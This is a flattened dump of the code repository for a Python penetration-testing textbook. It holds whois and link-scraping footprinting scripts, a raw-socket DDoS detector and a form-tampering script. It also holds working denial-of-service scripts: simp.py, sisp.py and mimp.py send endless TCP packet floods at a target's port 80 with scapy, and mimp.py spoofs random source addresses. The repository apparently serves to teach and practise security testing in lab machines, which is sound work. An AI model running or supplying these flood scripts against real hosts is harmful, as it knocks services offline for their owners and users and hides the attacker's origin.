| 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /Chapter07/foot-printing_programs/foot-printing_programs/par3.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | from bs4 import BeautifulSoup 3 | url = raw_input("Enter the URL ") 4 | ht= urllib.urlopen(url) 5 | html_page = ht.read() 6 | b_object = BeautifulSoup(html_page) 7 | print b_object.title 8 | print b_object.title.text 9 | for link in b_object.find_all('a'): 10 | print(link.get('href')) 11 | 12 | -------------------------------------------------------------------------------- /Chapter07/foot-printing_programs/foot-printing_programs/whois.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | from bs4 import BeautifulSoup 3 | import re 4 | domain=raw_input("Enter the domain name ") 5 | url = "http://whois.domaintools.com/"+str(domain) 6 | ht= urllib.urlopen(url) 7 | html_page = ht.read() 8 | b_object = BeautifulSoup(html_page,"lxml") 9 | file_text= open("who.txt",'a') 10 | who_is = b_object.body.find('div',attrs={'class' : 'stats'}) 11 | who_is1=str(who_is) 12 | 13 | for match in re.finditer("Domain Name:",who_is1): 14 | s= match.start() 15 | 16 | 17 | lines_raw = who_is1[s:] 18 | lines = lines_raw.split("
",150) 19 | i=0 20 | for line in lines : 21 | file_text.writelines(line) 22 | file_text.writelines("\n") 23 | print line 24 | i=i+1 25 | if i==17 : 26 | break 27 | file_text.writelines("-"*50) 28 | file_text.writelines("\n") 29 | file_text.close() 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /Chapter07/foot-printing_programs/foot-printing_programs/whois5.py: -------------------------------------------------------------------------------- 1 | from lxml.html import fromstring 2 | import requests 3 | 4 | domain = raw_input("Enter the domain : ") 5 | url = 'http://whois.domaintools.com/' + domain 6 | user_agent = 'wswp' 7 | headers = {'User-Agent': user_agent} 8 | resp = requests.get(url, headers=headers) 9 | html = resp.text 10 | 11 | tree = fromstring(html) 12 | ip = tree.xpath('//*[@id="stats"]//table/tbody/tr//text()') 13 | 14 | list1 = [] 15 | for each in ip: 16 | each = each.strip() 17 | if each == "": 18 | continue 19 | list1.append(each.strip("\n")) 20 | 21 | ip_index = list1.index('IP Address') 22 | print "IP address ", list1[ip_index + 1] 23 | 24 | loc1 = list1.index('IP Location') 25 | loc2 = list1.index('ASN') 26 | print 'Location : ', "".join(list1[loc1 + 1:loc2]) 27 | -------------------------------------------------------------------------------- /Chapter08/Programs_client_Side/Programs_client_Side/DDOS_detect1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | from datetime import datetime 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) 5 | dict = {} 6 | file_txt = open("dos.txt",'a') 7 | file_txt.writelines("**********") 8 | t1= str(datetime.now()) 9 | file_txt.writelines(t1) 10 | file_txt.writelines("**********") 11 | file_txt.writelines("\n") 12 | print "Detection Start ......." 13 | D_val =10 14 | D_val1 = D_val+10 15 | while True: 16 | 17 | pkt = s.recvfrom(2048) 18 | ipheader = pkt[0][14:34] 19 | ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) 20 | IP = socket.inet_ntoa(ip_hdr[3]) 21 | print "Source IP", IP 22 | if dict.has_key(IP): 23 | dict[IP]=dict[IP]+1 24 | print dict[IP] 25 | if(dict[IP]>D_val) and (dict[IP] 4 | 5 | 6 |

Leave your Comments

7 |
8 |
9 | 10 | 11 | 12 | 13 | Your name: 14 | 15 | 16 |

17 | 18 | 19 | 20 | Comments

21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 |
36 | 37 | Old comments 38 | 39 | 40 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /Chapter08/Programs_client_Side/Programs_client_Side/mimp.py: -------------------------------------------------------------------------------- 1 | import random 2 | from scapy.all import * 3 | target = raw_input("Enter the Target IP ") 4 | 5 | i=1 6 | while True: 7 | a = str(random.randint(1,254)) 8 | b = str(random.randint(1,254)) 9 | c = str(random.randint(1,254)) 10 | d = str(random.randint(1,254)) 11 | dot = "." 12 | src = a+dot+b+dot+c+dot+d 13 | print src 14 | st = random.randint(1,1000) 15 | en = random.randint(1000,65535) 16 | loop_break = 0 17 | for srcport in range(st,en): 18 | IP1 = IP(src=src, dst=target) 19 | TCP1 = TCP(sport=srcport, dport=80) 20 | pkt = IP1 / TCP1 21 | send(pkt,inter= .0001) 22 | print "packet sent ", i 23 | loop_break = loop_break+1 24 | i=i+1 25 | if loop_break ==50 : 26 | break 27 | -------------------------------------------------------------------------------- /Chapter08/Programs_client_Side/Programs_client_Side/parameter temp.py: -------------------------------------------------------------------------------- 1 | import mechanize 2 | br = mechanize.Browser() 3 | br.set_handle_robots( False ) 4 | url = raw_input("Enter URL ") 5 | br.set_handle_equiv(True) 6 | br.set_handle_gzip(True) 7 | br.set_handle_redirect(True) 8 | br.set_handle_referer(True) 9 | br.set_handle_robots(False) 10 | br.open(url) 11 | #res = response.code 12 | for form in br.forms(): 13 | print form 14 | 15 | br.select_form(nr=0) 16 | br.form['name'] = 'HACKER' 17 | br.form['comment'] = '' 18 | br.submit() 19 | 20 | -------------------------------------------------------------------------------- /Chapter08/Programs_client_Side/Programs_client_Side/simp.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | src = raw_input("Enter the Source IP ") 4 | target = raw_input("Enter the Target IP ") 5 | 6 | i=1 7 | while True: 8 | for srcport in range(1,65535): 9 | IP1 = IP(src=src, dst=target) 10 | TCP1 = TCP(sport=srcport, dport=80) 11 | pkt = IP1 / TCP1 12 | send(pkt,inter= .0001) 13 | print "packet sent ", i 14 | i=i+1 15 | -------------------------------------------------------------------------------- /Chapter08/Programs_client_Side/Programs_client_Side/sisp.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | src = raw_input("Enter the Source IP ") 4 | target = raw_input("Enter the Target IP ") 5 | srcport = int(raw_input("Enter the Source Port ")) 6 | i=1 7 | while True: 8 | IP1 = IP(src=src, dst=target) 9 | TCP1 = TCP(sport=srcport, dport=80) 10 | pkt = IP1 / TCP1 11 | send(pkt,inter= .001) 12 | print "packet sent ", i 13 | i=i+1 14 | -------------------------------------------------------------------------------- /Chapter09/programs_pentest_SQL.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition/f2a666b62826b4adc334a8e69ccbfe20b5cf12c2/Chapter09/programs_pentest_SQL.zip -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Packt 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python Penetration Testing Essentials - Second Edition 2 | This is the code repository for [Python Penetration Testing Essentials - Second Edition](https://www.packtpub.com/networking-and-servers/python-penetration-testing-essentials-second-edition?utm_source=github&utm_medium=repository&utm_campaign=9781789138962), published by [Packt](https://www.packtpub.com/?utm_source=github). It contains all the supporting project files necessary to work through the book from start to finish. 3 | ## About the Book 4 | This book gives you the skills you need to use Python for penetration testing (pentesting), with the help of detailed code examples. 5 | 6 | We start by exploring the basics of networking with Python and then proceed to network hacking. Then, you will delve into exploring Python libraries to perform various types of pentesting and ethical hacking techniques. Next, we delve into hacking the application layer, where we start by gathering information from a website. We then move on to concepts related to website hacking—such as parameter tampering, DDoS, XSS, and SQL injection. 7 | 8 | By reading this book, you will learn different techniques and methodologies that will familiarize you with Python pentesting techniques, how to protect yourself, and how to create automated programs to find the admin console, SQL injection, and XSS attacks. 9 | 10 | ## Instructions and Navigation 11 | All of the code is organized into folders. Each folder starts with a number followed by the application name. For example, Chapter02. 12 | 13 | 14 | 15 | The code will look like the following: 16 | ``` 17 | import os 18 | response = os.popen('ping -n 1 10.0.0.1') 19 | for line in response.readlines(): 20 | print line, 21 | ``` 22 | 23 | In order to understand the book reader must have the knowledge of Networking fundamentals, basic knowledge of Linux OS, good knowledge of information security and core Python. 24 | 25 | In order to perform experiments or run the codes reader can use the virtual machine (Vmware, virtual box). For Wireless pen-testing readers can use a wireless card TP-Link TL-WN722N. Becuase TL-WN722N wireless card supports the Kali Linux in VMware. 26 | 27 | ## Related Products 28 | * [Python Penetration Testing Cookbook](https://www.packtpub.com/networking-and-servers/python-penetration-testing-cookbook?utm_source=github&utm_medium=repository&utm_campaign=9781784399771) 29 | 30 | * [Kali Linux Cookbook - Second Edition](https://www.packtpub.com/networking-and-servers/kali-linux-cookbook-second-edition?utm_source=github&utm_medium=repository&utm_campaign=9781784390303) 31 | 32 | * [Kali Linux Advanced Wireless Penetration Testing [Video]](https://www.packtpub.com/networking-and-servers/kali-linux-advanced-wireless-penetration-testing-video?utm_source=github&utm_medium=repository&utm_campaign=9781788832342) 33 | --------------------------------------------------------------------------------